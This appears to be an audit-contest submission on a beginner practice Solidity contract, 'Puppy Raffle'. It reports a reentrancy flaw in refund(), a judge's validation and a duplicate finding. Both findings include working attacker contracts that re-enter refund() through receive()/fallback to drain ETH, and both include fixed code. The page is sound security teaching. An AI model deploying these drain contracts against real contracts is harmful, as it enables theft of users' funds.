Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Reentrancy Attack in refund Function Allows ETH Drain

Root + Impact

Description

  • The refund function (lines 96-105) violates the Checks-Effects-Interactions pattern by performing an external ETH transfer (sendValue) before updating the state variable (players[playerIndex] = address(0)). This allows an attacker to re-enter the function during the external call and withdraw multiple times before the player is marked as refunded.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • Quite high, any one notice the misimplemnet of this function could write a contract to do the reentrancy attack

Impact:

  • High. Complete loss of contract funds. An attacker can recursively call refund() during the ETH transfer, bypassing the existing player checks since state is only updated after the external call completes. This drains the contract balance until empty.

Proof of Concept

Attack Flow:

  1. Attacker deploys malicious contract and enters raffle at specific index (e.g., 3)

  2. Attacker calls refund(3), which passes all require checks (sender matches player, player != address(0))

  3. sendValue executes, transferring ETH to attacker's contract

  4. Attacker's receive() fallback triggers, re-entering refund(3) before state is updated

  5. Since players[3] still holds the original address (not yet set to address(0)), all checks pass again

  6. Steps 3-5 repeat recursively until contract balance is drained

contract ReentrancyAttack {
PuppyRaffle target;
uint256 playerIndex;
constructor(PuppyRaffle _target, uint256 _index) payable {
target = _target;
playerIndex = _index;
}
function attack() external {
target.refund(playerIndex);
}
receive() external payable {
// Re-enter until contract is drained
if (address(target).balance > 0) {
target.refund(playerIndex);
}
}
}

Recommended Mitigation

Follow Checks-Effects-Interactions pattern: update state before external calls:

or use OpenZeppelin's ReentrancyGuard (nonReentrant modifier) as additional defense-in-depth.

function refund(uint256 playerIndex) public {
address player = players[playerIndex];
require(msg.sender == player, "PuppyRaffle: Not the player");
require(player != address(0), "PuppyRaffle: Player already refunded");
// Effects: Update state BEFORE external interaction
players[playerIndex] = address(0);
// Interactions: External call last
(bool success, ) = payable(player).call{value: entranceFee}("");
require(success, "PuppyRaffle: Refund failed");
emit RaffleRefunded(player);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 10 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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